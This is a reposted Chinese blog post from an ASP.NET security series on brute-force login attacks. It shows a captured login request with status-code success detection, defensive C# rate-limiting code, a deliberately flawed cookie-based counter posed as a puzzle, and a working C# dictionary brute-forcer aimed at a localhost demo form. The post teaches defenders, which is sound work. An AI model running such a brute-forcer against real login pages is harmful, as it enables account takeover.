博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Asp.net安全架构之4:Brute force(爆破)
阅读量:5754 次
发布时间:2019-06-18

本文共 9354 字,大约阅读时间需要 31 分钟。

原理

爆破是对系统的登录入口发起不间断的请求,达到暴力破解的目的。

实际案例

某系统存在爆破攻击点,只要模拟以下攻击,就能采用字典破解法,根据分析发现,只要返回状态为302的,为用户名密码正确,也就是被爆破了,状态为200的,为用户名密码错误。

在攻击的过程中,我们只要准备好字典,就能顺利实现爆破。像用户名为luminji,密码为123456这样的用户很容易就会被爆破掉。

请求:

POST /sso/ValidateUser.aspx HTTP/1.1

User-Agent: Fiddler

Accept-Language: zh-CN

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Host: 192.168.40.193

Content-Length: 37

 

loginId=luminji&password=123456 

以下是成功爆破的返回:

HTTP/1.1 302 Found

Cache-Control: private

Content-Length: 151

Content-Type: text/html; charset=utf-8

Location: http://192.168.40.193/portal/pages

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=spycdd55b1cph0iohogufq55; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Mon, 07 May 2012 01:25:50 GMT

 

<html><head><title>Object moved</title></head><body>

<h2>Object moved to <a href="http://192.168.40.193/portal/pages">here</a>.</h2>

</body></html>

以下是失败的返回:

HTTP/1.1 200 OK

Cache-Control: private

Transfer-Encoding: chunked

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=zxomk255e3115245tpqi3k45; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Mon, 07 May 2012 01:26:01 GMT

 

8a0

_�_

应对措施

一种思路是:定位客户端,限制客户端的请求频率。一般来说,通过两个途径可确定某个客户端,IP地址和Cookie。但是,这种方式一般来说也是被攻破的,比如使用AccessDriver这样的工具就可以更换IP地址,同时,再清空cookie就可以做到。

其次,使用验证码。这是一种非常有效的措施,但是一定程度上降低了用户体验。

Mads Kristensen提到了另一种方法是限制每个用户的登录次数,代码如下:

protected void ButtonLogin_Click(object sender, EventArgs e)        {            string loginName = "luminji";            if (AddAndGetLoginCount(loginName) > 5)            {                //block            }            else            {                if (CheckLogin(loginName) == true)                {                    ClearLoginCount(loginName);                }            }        }        //只适用于单机,如果是集群,需要分布式缓存        int AddAndGetLoginCount(string userNanme)        {            if (Cache[userNanme] == null)            {                Cache.Insert("luminji", 1, null,                    System.Web.Caching.Cache.NoAbsoluteExpiration, TimeSpan.FromSeconds(10));                return 1;            }            else            {                int count = (int)Cache[userNanme] + 1;                Cache[userNanme] = count;                return count;            }        }        void ClearLoginCount(string userName)        {            if (Cache[userName] != null)            {                Cache.Remove(userName);            }        }        private bool CheckLogin(string loginName)        {            throw new NotImplementedException();        }

 

这里还有一种方法,它看上去是正确的,但是有人一眼就看出来在其貌似能正确防范爆破下的本质错误,不知道你是否能察觉。这段代码的大致思路是:

将访问次数保存在cookie中,然后根据cookie保存的值来限制访问次序。保存在cookie中的值(该值所表达的意义是:谁在某个时间段内访问了几次),需要进行加密处理,只有这样,才能保证不让客户端进行模拟。全部代码实现,请参看代码:

protected void ButtonLogin_Click(object sender, EventArgs e)        {            HttpCookie cookieGet = Request.Cookies.Get("btcookie");            if (cookieGet == null)            {                SendBFCookieToClientAndRedirect();            }            else            {                ReceiveBFCookieAndCheckLogin(cookieGet);            }        }        private void ReceiveBFCookieAndCheckLogin(HttpCookie cookieGet)        {            string loginName = "luminji";            BruteForce bf = PreAnalyCookieGet(cookieGet);            if (DateTime.Parse(bf.ExpireTime) > DateTime.Now)            {                if (int.Parse(bf.LoginCount) > 5)                {                    Block();                }                else                {                    GoAndCheckAndUpdateCount(cookieGet, loginName, bf);                }            }            else            {                GoAndCheckAndUpdateExpiretime(cookieGet, loginName);            }        }        private BruteForce PreAnalyCookieGet(HttpCookie cookieGet)        {            Response.Write(string.Format("get{0}
", Session.SessionID)); Response.Write(string.Format("get Cookie:{0}
", cookieGet.Value)); Response.Write(string.Format("Now:{0}", DateTime.Now)); var bfarr = cookieGet.Value.Split('|'); return new BruteForce(bfarr[0], bfarr[1], bfarr[2]); } private void GoAndCheckAndUpdateCount(HttpCookie cookieGet, string loginName, BruteForce bf) { CheckLogin(loginName); cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}", int.Parse(bf.LoginCount) + 1, Session.SessionID, bf.ExpireTime)); Response.Cookies.Add(cookieGet); } private void Block() { Response.Write("block"); } private void GoAndCheckAndUpdateExpiretime(HttpCookie cookieGet, string loginName) { CheckLogin(loginName); cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}", 1, Session.SessionID, DateTime.Now.AddSeconds(10))); Response.Cookies.Add(cookieGet); } private void SendBFCookieToClientAndRedirect() { Response.Write(string.Format("set{0}
", Session.SessionID)); string str = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}", 1, Session.SessionID, DateTime.Now.AddSeconds(10))); Session["btcookiesession"] = str; HttpCookie cookieSet = new HttpCookie("btcookie", str); cookieSet.HttpOnly = true; Response.Cookies.Add(cookieSet); //Redirect To real login page } private string EncryptBruteForceCookie(string cookie) { //encrypt cookie return cookie; } private string DecrpytBruteForceCooke(string cookie) { //encrypt cookie return cookie; } class BruteForce { public BruteForce(string loginCount, string sessionID, string expireTime) { LoginCount = loginCount; SessionID = sessionID; ExpireTime = expireTime; } public string LoginCount; public string SessionID; public string ExpireTime; }

 

爆破的实施

假设要爆破的登录处的逻辑如下:

protected void btnLogin_Click(object sender, EventArgs e)        {            if (this.txtUserName.Text == "xjm" &&                 this.txtUserPassword.Text == "123")            {                //this.Session["UserName"] = this.txtUserName.Text;                Response.Redirect("Home.aspx");            }            else            {                Response.Write("login denied!");            }        }

 

PS:一般来说,爆破就是模拟发送请求,C#代码如下:

string httpBase = @"http://localhost:50097";        List
keyDict = new List
() { "1", "12", "123", "a", "ab" }; private void button2_Click(object sender, EventArgs e) { bool isOk = false; foreach (string key in keyDict) { var request = InitRequest(); SetRequestContent(request, key); if (isOk = GetResponseAndLoginSuccess(request)) { break; } } if (isOk) { MessageBox.Show("login success."); } else { MessageBox.Show("failed!"); } } private void SetRequestContent(WebRequest request, string key) { //todo 1:should get login.aspx first, and get the viewstat // 2:then we can build this content string content = string.Format("__VIEWSTATE=%2FwEPDwULLTE1MzQ2NDY3MzVkZApspc7%2FtLNG1qzHEYJFvpuzy5P8&__EVENTVALIDATION=%2FwEWBAK7qPiwDQKl1bKzCQK9wKW7DAKC3IeGDBjXR%2FPy4G7lFRtaemefnygkRltT&txtUserName=xjm&txtUserPassword={0}&btnLogin=Button", key); request.ContentLength = content.Length; byte[] bytes = Encoding.UTF8.GetBytes(content); using (Stream requestStream = request.GetRequestStream()) { requestStream.Write(bytes, 0, bytes.Length); requestStream.Flush(); } } private bool GetResponseAndLoginSuccess(WebRequest request) { var response = request.GetResponse(); using (Stream stream = response.GetResponseStream()) using (StreamReader reader = new StreamReader(stream)) { if (response.ResponseUri.ToString().IndexOf(httpBase+ @"/Home.aspx") > -1) { var context = reader.ReadToEnd(); context += "
hacked by luminji!"; webBrowser1.DocumentText = context; return true; } } return false; } private WebRequest InitRequest() { string url = httpBase + @"/login.aspx"; var request = HttpWebRequest.Create(url); request.ContentType = "application/x-www-form-urlencoded"; request.Method = "POST"; return request; }

 本文转自最课程陆敏技博客园博客,原文链接:http://www.cnblogs.com/luminji/archive/2012/06/13/2531052.html,如需转载请自行联系原作者

你可能感兴趣的文章
文献综述二:UML技术在行业资源平台系统建模中的应用
查看>>
阿里云服务器 linux下载 jdk
查看>>
Swift 学习 用 swift 调用 oc
查看>>
第三章 Python 的容器: 列表、元组、字典与集合
查看>>
微信小程序开发 -- 点击右上角实现转发功能
查看>>
问题解决-Failed to resolve: com.android.support.constraint:constraint-layout:1.0.0-alpha7
查看>>
与MS Project相关的两个项目
查看>>
[转载]ASP.NET MVC Music Store教程(1):概述和新项目
查看>>
使用 SharpSvn 执行 svn 操作的Demo
查看>>
js函数大全
查看>>
iOS app exception的解决方案
查看>>
Mongodb启动命令mongod参数说明
查看>>
TCP&UDP压力测试工具
查看>>
oracle 导入数据
查看>>
Android 最简单的自定义Dialog之一
查看>>
磨刀不误砍柴 - 配置适合工作学习的桌面环境
查看>>
Java笔记-反射机制(一)
查看>>
redux v3.7.2源码解读与学习之 applyMiddleware
查看>>
【React】为什么我不再使用setState?
查看>>
Git原理与高级使用(3)
查看>>